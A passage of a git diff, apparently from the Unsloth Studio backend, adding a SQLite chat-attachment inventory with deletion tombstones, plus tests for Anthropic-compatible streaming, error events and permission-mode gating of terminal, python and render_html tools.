+    if (
+        state is not None
+        and state["inventory_version"] == _CHAT_ATTACHMENT_INVENTORY_VERSION
+        and not state["dirty"]
+    ):
+        return
+
+    owns_transaction = not conn.in_transaction
+    if owns_transaction:
+        conn.execute("BEGIN IMMEDIATE")
+    try:
+        state = conn.execute(
+            """
+            SELECT inventory_version, dirty
+            FROM chat_attachment_inventory_state
+            WHERE singleton = 1
+            """
+        ).fetchone()
+        if (
+            state is None
+            or state["inventory_version"] != _CHAT_ATTACHMENT_INVENTORY_VERSION
+            or state["dirty"]
+        ):
+            _rebuild_chat_attachment_inventory(conn)
+            _mark_chat_attachment_inventory_clean(conn)
+        if owns_transaction:
+            conn.commit()
+    except Exception:
+        if owns_transaction:
+            conn.rollback()
+        raise
+
+
 def upsert_chat_message(message: dict) -> dict:
     conn = get_connection()
     try:
         conn.execute("BEGIN IMMEDIATE")
+        _ensure_chat_attachment_inventory_current(conn)
         _raise_if_chat_message_thread_conflicts(
             conn,
             message["threadId"],
             [message["id"]],
         )
+        tombstones = _chat_attachment_tombstones_for_messages(
+            conn,
+            message["threadId"],
+            [message["id"]],
+        )
+        reconciled = _reconcile_chat_message_uploads(
+            message,
+            tombstones.get(message["id"], set()),
+        )
+        content_json = json.dumps(reconciled.get("content", []))
+        attachments_json = (
+            json.dumps(reconciled.get("attachments"))
+            if reconciled.get("attachments") is not None
+            else None
+        )
         conn.execute(
             """
             INSERT INTO chat_messages
@@ -1418,22 +2024,32 @@ def upsert_chat_message(message: dict) -> dict:
             WHERE excluded.thread_id = chat_messages.thread_id
             """,
             (
-                message["id"],
-                message["threadId"],
-                message.get("parentId"),
-                message["role"],
-                json.dumps(message.get("content", [])),
-                json.dumps(message.get("attachments"))
-                if message.get("attachments") is not None
+                reconciled["id"],
+                reconciled["threadId"],
+                reconciled.get("parentId"),
+                reconciled["role"],
+                content_json,
+                attachments_json,
+                json.dumps(reconciled.get("metadata"))
+                if reconciled.get("metadata") is not None
                 else None,
-                json.dumps(message.get("metadata"))
-                if message.get("metadata") is not None
-                else None,
-                int(message["createdAt"]),
+                int(reconciled["createdAt"]),
             ),
         )
+        _replace_chat_attachment_inventory(
+            conn,
+            reconciled["id"],
+            attachments_json,
+            content_json,
+        )
+        _bump_chat_thread_updated_at(
+            conn,
+            reconciled["threadId"],
+            int(reconciled["createdAt"]),
+        )
+        _mark_chat_attachment_inventory_clean(conn)
         conn.commit()
-        return message
+        return reconciled
     except Exception:
         conn.rollback()
         raise
@@ -1449,13 +2065,28 @@ def sync_chat_messages(
     conn = get_connection()
     try:
         conn.execute("BEGIN IMMEDIATE")
+        _ensure_chat_attachment_inventory_current(conn)
         _raise_if_chat_message_thread_conflicts(
             conn,
             thread_id,
             [m["id"] for m in messages],
         )
-        if prune_missing:
-            conn.execute("DELETE FROM chat_messages WHERE thread_id = ?", (thread_id,))
+        tombstones = _chat_attachment_tombstones_for_messages(
+            conn,
+            thread_id,
+            [m["id"] for m in messages],
+        )
+        reconciled_messages = [
+            _reconcile_chat_message_uploads(m, tombstones.get(m["id"], set())) for m in messages
+        ]
+        serialized_messages = [
+            (
+                m,
+                json.dumps(m.get("content", [])),
+                json.dumps(m.get("attachments")) if m.get("attachments") is not None else None,
+            )
+            for m in reconciled_messages
+        ]
         conn.executemany(
             """
             INSERT INTO chat_messages
@@ -1476,14 +2107,46 @@ def sync_chat_messages(
                     thread_id,
                     m.get("parentId"),
                     m["role"],
-                    json.dumps(m.get("content", [])),
-                    json.dumps(m.get("attachments")) if m.get("attachments") is not None else None,
+                    content_json,
+                    attachments_json,
                     json.dumps(m.get("metadata")) if m.get("metadata") is not None else None,
                     int(m["createdAt"]),
                 )
-                for m in messages
+                for m, content_json, attachments_json in serialized_messages
             ],
         )
+        for m, content_json, attachments_json in serialized_messages:
+            _replace_chat_attachment_inventory(
+                conn,
+                m["id"],
+                attachments_json,
+                content_json,
+            )
+        if prune_missing:
+            retained_ids = {m["id"] for m in reconciled_messages}
+            existing_ids = {
+                row["id"]
+                for row in conn.execute(
+                    "SELECT id FROM chat_messages WHERE thread_id = ?",
+                    (thread_id,),
+                ).fetchall()
+            }
+            missing_ids = sorted(existing_ids - retained_ids)
+            for start in range(0, len(missing_ids), _SQLITE_IN_CHUNK_SIZE):
+                chunk = missing_ids[start : start + _SQLITE_IN_CHUNK_SIZE]
+                placeholders = ",".join("?" for _ in chunk)
+                conn.execute(
+                    f"DELETE FROM chat_messages WHERE thread_id = ? AND id IN ({placeholders})",
+                    (thread_id, *chunk),
+                )
+            _recompute_chat_thread_updated_at(conn, thread_id)
+        elif reconciled_messages:
+            _bump_chat_thread_updated_at(
+                conn,
+                thread_id,
+                max(int(m["createdAt"]) for m in reconciled_messages),
+            )
+        _mark_chat_attachment_inventory_clean(conn)
         conn.commit()
         return list_chat_messages(thread_id)
     except ChatMessageConflictError:
@@ -1517,6 +2180,7 @@ def fork_chat_thread(
     conn = get_connection()
     try:
         conn.execute("BEGIN IMMEDIATE")
+        _ensure_chat_attachment_inventory_current(conn)
         src = conn.execute(
             "SELECT * FROM chat_threads WHERE id = ?", (source_thread_id,)
         ).fetchone()
@@ -1590,6 +2254,14 @@ def fork_chat_thread(
                 for row in ancestry
             ],
         )
+        for row in ancestry:
+            _replace_chat_attachment_inventory(
+                conn,
+                id_map[row["id"]],
+                row["attachments_json"],
+                row["content_json"],
+            )
+        _mark_chat_attachment_inventory_clean(conn)
         conn.commit()
         thread_row = conn.execute(
             "SELECT * FROM chat_threads WHERE id = ?", (new_thread_id,)
@@ -1648,6 +2320,279 @@ def get_chat_message(thread_id: str, message_id: str) -> Optional[dict]:
         conn.close()
 
 
+def _blob_part_base64_len(part: dict) -> int:
+    """Base64 payload length of an image or audio content part, or 0."""
+    image = part.get("image")
+    if isinstance(image, str) and image[:5].lower() == "data:":
+        return len(image.rsplit(",", 1)[-1])
+    audio = part.get("audio")
+    if isinstance(audio, str) and _is_locally_stored_blob(audio):
+        return len(audio.rsplit(",", 1)[-1])
+    if isinstance(audio, dict):
+        data = audio.get("data")
+        if isinstance(data, str) and _is_locally_stored_blob(data):
+            return len(data)
+    return 0
+
+
+def _chat_attachment_size_bytes(attachment: dict) -> Optional[int]:
+    """Approximate stored size of one attachment's content parts.
+
+    Image and audio parts hold base64 payloads (decoded bytes ~= 3/4 of the
+    encoded length); text parts count their character length. None when there
+    is no sizable content (e.g. a stripped/legacy attachment).
+    """
+    total = 0
+    found = False
+    for part in attachment.get("content") or []:
+        if not isinstance(part, dict):
+            continue
+        blob_len = _blob_part_base64_len(part)
+        if blob_len > 0:
+            total += (blob_len * 3) // 4
+            found = True
+            continue
+        text = part.get("text")
+        if isinstance(text, str) and text:
+            total += len(text.encode("utf-8", errors = "ignore"))
+            found = True
+    return total if found else None
+
+
+def _content_part_attachments(content_json: Optional[str]) -> list[dict]:
+    """Managed local blobs stored in content_json, with stable payload ids.
+
+    Exact duplicate blobs intentionally share one inventory id. Deleting that
+    id removes every identical copy, avoiding ambiguous index-based addressing.
+    """
+    content = _json_loads(content_json, None)
+    if not isinstance(content, list):
+        return []
+    out: list[dict] = []
+    seen: set[str] = set()
+    for part in content:
+        if not isinstance(part, dict):
+            continue
+        attachment_id = _content_part_id(part)
+        payload = _managed_content_part_payload(part)
+        if attachment_id is None or payload is None or attachment_id in seen:
+            continue
+        seen.add(attachment_id)
+        kind, value = payload
+        content_type = None
+        if kind == "image" and isinstance(value, str):
+            content_type = value[5:].split(";", 1)[0].split(",", 1)[0] or None
+        out.append(
+            {
+                "id": attachment_id,
+                "type": kind,
+                "name": "Chat image" if kind == "image" else "Chat audio",
+                "contentType": content_type,
+                "content": [part],
+            }
+        )
+    return out
+
+
+def list_chat_attachments_page(
+    limit: int = 50, offset: int = 0
+) -> tuple[list[dict], Optional[int]]:
+    """One bounded page from the normalized attachment inventory."""
+    if not 1 <= limit <= 100:
+        raise ValueError("limit must be between 1 and 100")
+    if offset < 0:
+        raise ValueError("offset must be non-negative")
+
+    conn = get_connection()
+    try:
+        _ensure_chat_attachment_inventory_current(conn)
+        rows = conn.execute(
+            """
+            SELECT i.attachment_id, i.name, i.type, i.content_type,
+                   i.size_bytes, m.id AS message_id, m.thread_id,
+                   m.created_at, t.title AS thread_title, t.pair_id
+            FROM chat_attachment_inventory i
+            JOIN chat_messages m ON m.id = i.message_id
+            LEFT JOIN chat_threads t ON t.id = m.thread_id
+            ORDER BY m.created_at DESC, m.id ASC, i.attachment_id ASC
+            LIMIT ? OFFSET ?
+            """,
+            (limit + 1, offset),
+        ).fetchall()
+    finally:
+        conn.close()
+
+    has_more = len(rows) > limit
+    page_rows = rows[:limit]
+    attachments = [
+        {
+            "id": row["attachment_id"],
+            "messageId": row["message_id"],
+            "threadId": row["thread_id"],
+            "pairId": row["pair_id"],
+            "threadTitle": row["thread_title"],
+            "name": row["name"],
+            "type": row["type"],
+            "contentType": row["content_type"],
+            "sizeBytes": row["size_bytes"],
+            "createdAt": row["created_at"],
+        }
+        for row in page_rows
+    ]
+    return attachments, offset + limit if has_more else None
+
+
+def list_chat_attachments() -> list[dict]:
+    """Compatibility helper returning the full normalized inventory."""
+    attachments: list[dict] = []
+    offset = 0
+    while True:
+        page, next_offset = list_chat_attachments_page(limit = 100, offset = offset)
+        attachments.extend(page)
+        if next_offset is None:
+            return attachments
+        offset = next_offset
+
+
+def get_chat_attachment(message_id: str, attachment_id: str) -> Optional[dict]:
+    """One attachment record (full content) from a message, or None."""
+    conn = get_connection()
+    try:
+        row = conn.execute(
+            """
+            SELECT message.attachments_json, message.content_json,
+                   EXISTS(
+                       SELECT 1 FROM chat_attachment_tombstones tombstone
+                       WHERE tombstone.thread_id = message.thread_id
+                         AND tombstone.message_id = message.id
+                         AND tombstone.attachment_id = ?
+                   ) AS tombstoned
+            FROM chat_messages message
+            WHERE message.id = ?
+            """,
+            (attachment_id, message_id),
+        ).fetchone()
+    finally:
+        conn.close()
+    if row is None or row["tombstoned"]:
+        return None
+    attachments = _json_loads(row["attachments_json"], None)
+    if isinstance(attachments, list):
+        for attachment in attachments:
+            if isinstance(attachment, dict) and str(attachment.get("id") or "") == attachment_id:
+                return attachment
+    if attachment_id.startswith(_CONTENT_PART_ID_PREFIX):
+        for attachment in _content_part_attachments(row["content_json"]):
+            if attachment["id"] == attachment_id:
+                return attachment
+    return None
+
+
+def _record_chat_attachment_tombstone(
+    conn: sqlite3.Connection, thread_id: str, message_id: str, attachment_id: str
+) -> None:
+    conn.execute(
+        """
+        INSERT INTO chat_attachment_tombstones
+            (thread_id, message_id, attachment_id, deleted_at)
+        VALUES (?, ?, ?, ?)
+        ON CONFLICT(thread_id, message_id, attachment_id) DO UPDATE SET
+            deleted_at = excluded.deleted_at
+        """,
+        (
+            thread_id,
+            message_id,
+            attachment_id,
+            int(datetime.now(timezone.utc).timestamp() * 1000),
+        ),
+    )
+
+
+def delete_chat_attachment(message_id: str, attachment_id: str) -> bool:
+    """Remove one stored upload from a message.
+
+    The tombstone is retained while the thread exists, so pruning and later
+    recreating the same message id cannot restore the deleted upload. If an
+    ordinary attachment id collides with a content-blob id, both are deleted as
+    one managed item.
+    """
+    conn = get_connection()
+    try:
+        conn.execute("BEGIN IMMEDIATE")
+        _ensure_chat_attachment_inventory_current(conn)
+        row = conn.execute(
+            """
+            SELECT thread_id, attachments_json, content_json
+            FROM chat_messages WHERE id = ?
+            """,
+            (message_id,),
+        ).fetchone()
+        if row is None:
+            conn.rollback()
+            return False
+
+        attachments = _json_loads(row["attachments_json"], None)
+        updated_attachments_json = row["attachments_json"]
+        deleted_attachment = False
+        if isinstance(attachments, list):
+            remaining_attachments = [
+                attachment
+                for attachment in attachments
+                if not (
+                    isinstance(attachment, dict)
+                    and str(attachment.get("id") or "") == attachment_id
+                )
+            ]
+            deleted_attachment = len(remaining_attachments) != len(attachments)
+            if deleted_attachment:
+                updated_attachments_json = json.dumps(remaining_attachments)
+
+        content = _json_loads(row["content_json"], None)
+        updated_content_json = row["content_json"]
+        deleted_content = False
+        if attachment_id.startswith(_CONTENT_PART_ID_PREFIX) and isinstance(content, list):
+            remaining_content = [
+                part
+                for part in content
+                if not (isinstance(part, dict) and _content_part_id(part) == attachment_id)
+            ]
+            deleted_content = len(remaining_content) != len(content)
+            if deleted_content:
+                updated_content_json = json.dumps(remaining_content)
+
+        if not deleted_attachment and not deleted_content:
+            conn.rollback()
+            return False
+        conn.execute(
+            """
+            UPDATE chat_messages
+            SET attachments_json = ?, content_json = ?
+            WHERE id = ?
+            """,
+            (updated_attachments_json, updated_content_json, message_id),
+        )
+        _record_chat_attachment_tombstone(
+            conn,
+            row["thread_id"],
+            message_id,
+            attachment_id,
+        )
+        _replace_chat_attachment_inventory(
+            conn,
+            message_id,
+            updated_attachments_json,
+            updated_content_json,
+        )
+        _mark_chat_attachment_inventory_clean(conn)
+        conn.commit()
+        return True
+    except Exception:
+        conn.rollback()
+        raise
+    finally:
+        conn.close()
+
+
 def list_chat_messages_for_threads(thread_ids: list[str]) -> list[dict]:
     if not thread_ids:
         return []
diff --git a/studio/backend/tests/conftest.py b/studio/backend/tests/conftest.py
index b0b9ee309c..c2216104a3 100644
--- a/studio/backend/tests/conftest.py
+++ b/studio/backend/tests/conftest.py
@@ -101,13 +101,13 @@ def studio_server(request):
 
 @pytest.fixture
 def base_url(studio_server):
-    """Base URL for the e2e Studio server (from ``studio_server``)."""
+    """Base URL for the e2e Unsloth server (from ``studio_server``)."""
     return studio_server[0]
 
 
 @pytest.fixture
 def api_key(studio_server):
-    """API key for the e2e Studio server (from ``studio_server``)."""
+    """API key for the e2e Unsloth server (from ``studio_server``)."""
     return studio_server[1]
 
 
diff --git a/studio/backend/tests/test_amd_apu_unified_memory.py b/studio/backend/tests/test_amd_apu_unified_memory.py
index 4df9e85b30..9fd8260bf2 100644
--- a/studio/backend/tests/test_amd_apu_unified_memory.py
+++ b/studio/backend/tests/test_amd_apu_unified_memory.py
@@ -91,7 +91,7 @@ class TestApuRamShortfall:
     """On a unified-memory APU the weights load into system RAM, so a model
     larger than available RAM (the field case: a 64.6 GB GGUF on a WSL VM capped
     well below the ROCm-reported APU budget) must be refused before spawning,
-    not left to OOM-kill the Studio process."""
+    not left to OOM-kill the Unsloth process."""
 
     def test_field_case_wsl_cap_refuses(self):
         # 64.6 GB weights, ~46 GB available (WSL VM): refuse with guidance.
diff --git a/studio/backend/tests/test_anthropic_compaction.py b/studio/backend/tests/test_anthropic_compaction.py
index 1528eebe8b..acc0acc2e0 100644
--- a/studio/backend/tests/test_anthropic_compaction.py
+++ b/studio/backend/tests/test_anthropic_compaction.py
@@ -4,7 +4,7 @@
 """Unit tests for Anthropic server-side context compaction wiring.
 
 Compaction is a beta (header ``compact-2026-01-12``) gated to Opus 4.6/4.7,
-Sonnet 4.6, and Mythos preview. When enabled, Studio attaches
+Sonnet 4.6, and Mythos preview. When enabled, Unsloth attaches
 ``context_management.edits[{type:"compact_20260112", trigger:{type:"input_tokens",
 value:N}}]``; the 50k-token minimum is clamped up so the request doesn't 400.
 
diff --git a/studio/backend/tests/test_anthropic_fast_mode_edge.py b/studio/backend/tests/test_anthropic_fast_mode_edge.py
index dd69d77590..03f5d1c0eb 100644
--- a/studio/backend/tests/test_anthropic_fast_mode_edge.py
+++ b/studio/backend/tests/test_anthropic_fast_mode_edge.py
@@ -330,7 +330,7 @@ def test_refusal_chunk_is_proper_openai_delta_shape(monkeypatch):
 
 
 def test_refusal_tool_event_chunk_shape(monkeypatch):
-    """Drop signal rides a Studio `_toolEvent` envelope (delta={},
+    """Drop signal rides an Unsloth `_toolEvent` envelope (delta={},
     finish_reason=null); the frontend latches on
     `_toolEvent.type == "anthropic_refusal"`."""
     _, lines = _capture(monkeypatch, sse = _refusal_sse(), model = "claude-opus-4-7")
@@ -409,7 +409,7 @@ def _fast_speed_sse(model: str = "claude-opus-4-7", speed: str = "fast") -> byte
 
 
 def test_usage_speed_propagates_to_final_usage_chunk_fast(monkeypatch):
-    """``usage.speed == "fast"`` from upstream must reach the Studio usage chunk."""
+    """``usage.speed == "fast"`` from upstream must reach the Unsloth usage chunk."""
     _, lines = _capture(monkeypatch, sse = _fast_speed_sse(speed = "fast"))
     usage_lines = [l for l in lines if l.startswith("data: ") and '"usage"' in l]
     assert usage_lines, lines
@@ -428,7 +428,7 @@ def test_usage_speed_propagates_to_final_usage_chunk_standard(monkeypatch):
 
 
 def test_usage_speed_absent_when_anthropic_does_not_report(monkeypatch):
-    """Studio must not invent ``usage.speed`` when upstream omits it."""
+    """Unsloth must not invent ``usage.speed`` when upstream omits it."""
     _, lines = _capture(monkeypatch)
     parsed = [
         json.loads(l[len("data: ") :]) for l in lines if l.startswith("data: ") and '"usage"' in l
diff --git a/studio/backend/tests/test_anthropic_messages.py b/studio/backend/tests/test_anthropic_messages.py
index a6c1fcda9c..9ccc3f44dd 100644
--- a/studio/backend/tests/test_anthropic_messages.py
+++ b/studio/backend/tests/test_anthropic_messages.py
@@ -52,6 +52,49 @@ from io import BytesIO as _BytesIO
 from types import SimpleNamespace
 
 
+def _emitter_client_text(events: list[str]) -> str:
+    """Concatenate the text_delta payloads an SSE event list carries."""
+    text = ""
+    for line in events:
+        for raw in line.split("\n"):
+            raw = raw.strip()
+            if not raw.startswith("data: "):
+                continue
+            data = json.loads(raw[len("data: ") :])
+            delta = data.get("delta", {})
+            if delta.get("type") == "text_delta":
+                text += delta.get("text", "")
+    return text
+
+
+def test_anthropic_emitter_closes_reasoning_only_think_block():
+    # A reasoning-only reply streams <think>X live then shrinks to bare X at EOF.
+    # This emitter diffs cumulative snapshots and drops the shrink, so without a
+    # closing pass the client text would end on an unclosed <think>. finish()
+    # must balance it.
+    emitter = AnthropicStreamEmitter()
+    events = emitter.start("msg_1", "m")
+    events += emitter.feed({"type": "content", "text": "<think>The capital"})
+    events += emitter.feed({"type": "content", "text": "<think>The capital of France is Paris."})
+    # The generator's final bare-text shrink (dropped by the cumulative diff).
+    events += emitter.feed({"type": "content", "text": "The capital of France is Paris."})
+    events += emitter.finish()
+
+    assert _emitter_client_text(events) == "<think>The capital of France is Paris.</think>"
+
+
+def test_anthropic_emitter_does_not_double_close_balanced_think():
+    # A reasoning-then-answer reply already closes its own </think>; the balancer
+    # must not append a second one.
+    emitter = AnthropicStreamEmitter()
+    events = emitter.start("msg_1", "m")
+    events += emitter.feed({"type": "content", "text": "<think>Thinking."})
+    events += emitter.feed({"type": "content", "text": "<think>Thinking.</think>Answer."})
+    events += emitter.finish()
+
+    assert _emitter_client_text(events) == "<think>Thinking.</think>Answer."
+
+
 def test_streamed_anthropic_tool_use_records_api_monitor_reply(monkeypatch):
     import routes.inference as inf_mod
 
@@ -889,6 +932,24 @@ class TestAnthropicToolNonStreaming:
         assert tool_blocks[0]["name"] == "render_html"
         assert tool_blocks[0]["input"] == {"code": "<!doctype html><html></html>"}
 
+    def test_display_strip_gates_on_declared_tools(self):
+        # A final answer containing NAME[ARGS]{json} is gated on the declared tools: undeclared
+        # ``foo`` markup is prose and survives, the declared web_search rehearsal strips.
+        def _run_gen():
+            yield {
+                "type": "content",
+                "text": 'Try foo[ARGS]{"x": 1} but not web_search[ARGS]{"q": "hi"} here.',
+            }
+
+        tools = [{"type": "function", "function": {"name": "web_search", "parameters": {}}}]
+        response = asyncio.run(
+            _anthropic_tool_non_streaming(_run_gen, "msg_1", "m", openai_tools = tools)
+        )
+        body = json.loads(response.body)
+        text = "".join(b["text"] for b in body["content"] if b["type"] == "text")
+        assert 'foo[ARGS]{"x": 1}' in text  # inactive name preserved as prose
+        assert "web_search[ARGS]" not in text  # active name stripped from display
+
 
 # =====================================================================
 # Pass-through emitter tests (client-side tool execution path)
@@ -1357,7 +1418,7 @@ class TestNormalizeAnthropicOpenAIImages:
 
 
 # =====================================================================
-# Studio-tool alias detection (/v1/messages tool routing)
+# Unsloth-tool alias detection (/v1/messages tool routing)
 # =====================================================================
 
 
@@ -1375,7 +1436,7 @@ class TestAnthropicRequestedStudioTools:
 
     def test_client_tool_named_python_is_not_misclassified(self):
         # input_schema is the client-tool discriminator; its presence must
-        # prevent the name from being treated as a Studio alias.
+        # prevent the name from being treated as an Unsloth alias.
         tools = [
             {
                 "name": "python",
@@ -1570,6 +1631,48 @@ class TestAnthropicMessagesToolRouting:
         assert entry["status"] == "cancelled"
         assert monitor.active_count() == 0
 
+    @staticmethod
+    def _sse_blob(chunks):
+        # StreamingResponse may hand back str or already-encoded bytes.
+        return "".join(c.decode() if isinstance(c, (bytes, bytearray)) else c for c in chunks)
+
+    def test_plain_streaming_unclassified_error_emits_error_event(self, monkeypatch):
+        # An unclassified mid-stream failure must surface as an SSE `error` event
+        # and stop, not a message_stop that masks a truncated turn as clean.
+        def _gen_boom(**_kwargs):
+            yield "partial"
+            raise RuntimeError("llama-server crashed mid-decode")
+
+        _mock_backend(monkeypatch, generate_chat_completion = _gen_boom)
+        payload = _basic_payload(stream = True)
+
+        response = _drive(anthropic_messages(payload, request = self._Request(), current_subject = "t"))
+        blob = self._sse_blob(self._consume_response(response))
+
+        assert "event: error" in blob
+        assert '"type": "error"' in blob
+        assert "event: message_stop" not in blob
+
+    def test_tool_streaming_unclassified_error_emits_error_event(self, monkeypatch):
+        # Same guarantee on the tool-calling stream path.
+        def _gen_tools_boom(**_kwargs):
+            yield {"type": "content", "text": "partial"}
+            raise RuntimeError("llama-server crashed mid-decode")
+
+        _mock_backend(monkeypatch, generate_chat_completion_with_tools = _gen_tools_boom)
+        payload = _basic_payload(
+            stream = True,
+            enable_tools = True,
+            tools = [{"type": "web_search_20250305", "name": "web_search"}],
+        )
+
+        response = _drive(anthropic_messages(payload, request = self._Request(), current_subject = "t"))
+        blob = self._sse_blob(self._consume_response(response))
+
+        assert "event: error" in blob
+        assert '"type": "error"' in blob
+        assert "event: message_stop" not in blob
+
     def test_mixed_server_and_client_tools_rejected_with_400(self, monkeypatch):
         _mock_backend(monkeypatch)
         payload = _basic_payload(
@@ -1644,9 +1747,9 @@ class TestAnthropicMessagesToolRouting:
         assert "name" in exc.value.detail
 
     def test_alias_named_client_tool_without_schema_rejected_with_400(self, monkeypatch):
-        # Regression: a typo'd client tool whose name collides with a Studio
+        # Regression: a typo'd client tool whose name collides with an Unsloth
         # alias (e.g. a custom "python" tool missing input_schema) must
-        # surface a 400, not silently switch into Studio's built-in python
+        # surface a 400, not silently switch into Unsloth's built-in python
         # execution.
         _mock_backend(monkeypatch)
         payload = _basic_payload(tools = [{"name": "python"}])
@@ -1667,7 +1770,7 @@ class TestAnthropicMessagesToolRouting:
 
     def test_disable_tools_policy_overrides_server_tool_alias(self, monkeypatch):
         # CLI `unsloth run --disable-tools` sets policy=False. A request with
-        # a Studio server-tool alias must NOT enter the agentic loop then.
+        # an Unsloth server-tool alias must NOT enter the agentic loop then.
         backend = _mock_backend(monkeypatch)
         set_tool_policy(False)
         payload = _basic_payload(
@@ -1678,7 +1781,9 @@ class TestAnthropicMessagesToolRouting:
         assert backend.calls[0][0] == "plain"
 
     def test_server_tool_alias_enters_tool_path_when_policy_unset(self, monkeypatch):
-        # Mirror of the previous test for the default (None) policy.
+        # Mirror of the previous test for the default (None) policy. An omitted
+        # permission_mode still runs here because web_search is a safe server tool
+        # (only a selected terminal/python would require the missing gate).
         backend = _mock_backend(monkeypatch)
         payload = _basic_payload(
             tools = [{"type": "web_search_20250305", "name": "web_search"}],
@@ -1700,6 +1805,126 @@ class TestAnthropicMessagesToolRouting:
         assert "confirm_tool_calls is not supported" in exc.value.detail["error"]["message"]
         assert backend.calls == []
 
+    def test_permission_mode_gating_for_server_tools(self, monkeypatch):
+        # ask is a request for a per-call pause this channel cannot honor, so it is
+        # always rejected, even for a safe-only server tool (web_search).
+        safe_tools = [{"type": "web_search_20250305", "name": "web_search"}]
+        backend = _mock_backend(monkeypatch)
+        payload = _basic_payload(tools = safe_tools, permission_mode = "ask")
+        with pytest.raises(HTTPException) as exc:
+            _drive(anthropic_messages(payload, request = None, current_subject = "t"))
+        assert exc.value.status_code == 400
+        assert "no confirmation channel" in exc.value.detail["error"]["message"]
+        assert backend.calls == []
+
+        # auto only gates unsafe calls, so a safe-only selection runs (nothing to
+        # gate), like the omitted default. Both keep existing callers working.
+        for extra in ({"permission_mode": "auto"}, {}):
+            backend = _mock_backend(monkeypatch)
+            payload = _basic_payload(tools = safe_tools, **extra)
+            _drive(anthropic_messages(payload, request = None, current_subject = "t"))
+            assert backend.calls[0][0] == "tools"
+
+        # But auto or an omitted mode that would run a local tool (terminal/python,
+        # via a bare Anthropic tool type or enabled_tools) is rejected, since that
+        # tool could need the gate this channel lacks.
+        for local_payload in (
+            _basic_payload(tools = [{"type": "terminal", "name": "terminal"}]),
+            _basic_payload(
+                tools = [{"type": "terminal", "name": "terminal"}], permission_mode = "auto"
+            ),
+            _basic_payload(tools = safe_tools, enable_tools = True, enabled_tools = ["python"]),
+        ):
+            backend = _mock_backend(monkeypatch)
+            with pytest.raises(HTTPException) as exc:
+                _drive(anthropic_messages(local_payload, request = None, current_subject = "t"))
+            assert exc.value.status_code == 400
+            assert "terminal" in exc.value.detail["error"]["message"]
+            assert backend.calls == []
+
+        # off, full, and a legacy confirm_tool_calls=False opt-out all run, even
+        # with a local tool selected. The explicit opt-out wins over the mode
+        # (mirrors _permission_mode_confirm and the GGUF path), so it runs even
+        # under ask, which otherwise always rejects.
+        for extra in (
+            {"tools": safe_tools, "permission_mode": "off"},
+            {"tools": safe_tools, "permission_mode": "full"},
+            {"tools": safe_tools, "enabled_tools": ["python"], "confirm_tool_calls": False},
+            {"tools": safe_tools, "permission_mode": "ask", "confirm_tool_calls": False},
+            {
+                "tools": [{"type": "terminal", "name": "terminal"}],
+                "permission_mode": "ask",
+                "confirm_tool_calls": False,
+            },
+        ):
+            backend = _mock_backend(monkeypatch)
+            payload = _basic_payload(**extra)
+            _drive(anthropic_messages(payload, request = None, current_subject = "t"))
+            assert backend.calls[0][0] == "tools"
+
+    def test_render_html_gated_for_server_tools(self, monkeypatch):
+        # render_html is no longer unconditionally safe: a networked canvas prompts
+        # in auto and this channel cannot present that gate, so selecting it under
+        # ask/auto/omitted rejects like terminal/python; off/full (and an explicit
+        # confirm opt-out) run it.
+        rh = {"enable_tools": True, "enabled_tools": ["render_html"]}
+        for mode in ("ask", "auto", None):
+            backend = _mock_backend(monkeypatch)
+            fields = dict(rh)
+            if mode is not None:
+                fields["permission_mode"] = mode
+            payload = _basic_payload(**fields)
+            with pytest.raises(HTTPException) as exc:
+                _drive(anthropic_messages(payload, request = None, current_subject = "t"))
+            assert exc.value.status_code == 400
+            assert "no confirmation channel" in exc.value.detail["error"]["message"]
+            assert backend.calls == []
+        for extra in (
+            {"permission_mode": "off"},
+            {"permission_mode": "full"},
+            {"confirm_tool_calls": False},
+        ):
+            backend = _mock_backend(monkeypatch)
+            payload = _basic_payload(**{**rh, **extra})
+            _drive(anthropic_messages(payload, request = None, current_subject = "t"))
+            assert backend.calls[0][0] == "tools"
+
+    def test_permission_mode_rejected_before_auto_switch(self, monkeypatch):
+        # The unsupported-mode rejection must run before _maybe_auto_switch_model,
+        # so an invalid confirm-gated request never evicts the resident model
+        # (mirrors the pre-switch malformed- and mixed-tool guards).
+        import routes.inference as inf_mod
+
+        switch_calls = []
+
+        async def _rec_switch(*_args, **_kwargs):
+            switch_calls.append(1)
+
+        monkeypatch.setattr(inf_mod, "_maybe_auto_switch_model", _rec_switch)
+        safe_tools = [{"type": "web_search_20250305", "name": "web_search"}]
+        local_tools = [{"type": "terminal", "name": "terminal"}]
+
+        # ask (any server tool), auto with a local tool, and an omitted mode
+        # selecting a local tool are all rejected up front, before the switch runs.
+        for payload in (
+            _basic_payload(tools = safe_tools, permission_mode = "ask"),
+            _basic_payload(tools = local_tools, permission_mode = "auto"),
+            _basic_payload(tools = local_tools),
+        ):
+            switch_calls.clear()
+            _mock_backend(monkeypatch)
+            with pytest.raises(HTTPException) as exc:
+                _drive(anthropic_messages(payload, request = None, current_subject = "t"))
+            assert exc.value.status_code == 400
+            assert switch_calls == [], "rejection must precede the auto-switch"
+
+        # A supported request (off) still reaches the switch and runs the loop.
+        switch_calls.clear()
+        _mock_backend(monkeypatch)
+        payload = _basic_payload(tools = safe_tools, permission_mode = "off")
+        _drive(anthropic_messages(payload, request = None, current_subject = "t"))
+        assert switch_calls == [1]
+
     def test_per_request_enable_tools_false_blocks_server_tool_alias(self, monkeypatch):
         backend = _mock_backend(monkeypatch)
         payload = _basic_payload(
@@ -1709,3 +1934,523 @@ class TestAnthropicMessagesToolRouting:
 
         _drive(anthropic_messages(payload, request = None, current_subject = "t"))
         assert backend.calls[0][0] == "plain"
+
+
+def test_resumed_session_thinking_and_null_content_do_not_400():
+    # A resumed session replays assistant turns with `thinking` (and sometimes null)
+    # content. Those must be accepted (thinking dropped by the converter), not 400ed.
+    from pydantic import ValidationError
+
+    req = AnthropicMessagesRequest(
+        model = "x",
+        max_tokens = 16,
+        messages = [
+            {"role": "user", "content": "hi"},
+            {
+                "role": "assistant",
+                "content": [
+                    {"type": "thinking", "thinking": "secret reasoning", "signature": "s"},
+                    {"type": "text", "text": "the answer"},
+                    {"type": "tool_use", "id": "t1", "name": "f", "input": {}},
+                ],
+            },
+            {"role": "assistant", "content": None},  # tool-only turn serialized as null
+        ],
+    )
+    # Known blocks still parse as their typed models; only the unknown one is loose.
+    assert type(req.messages[1].content[0]).__name__ == "AnthropicUnknownBlock"
+    assert type(req.messages[1].content[1]).__name__ == "AnthropicTextBlock"
+    assert req.messages[2].content == ""  # null coerced
+
+    openai = anthropic_messages_to_openai([m.model_dump() for m in req.messages])
+    assistant = next(m for m in openai if m["role"] == "assistant" and m.get("content"))
+    assert assistant["content"] == "the answer"
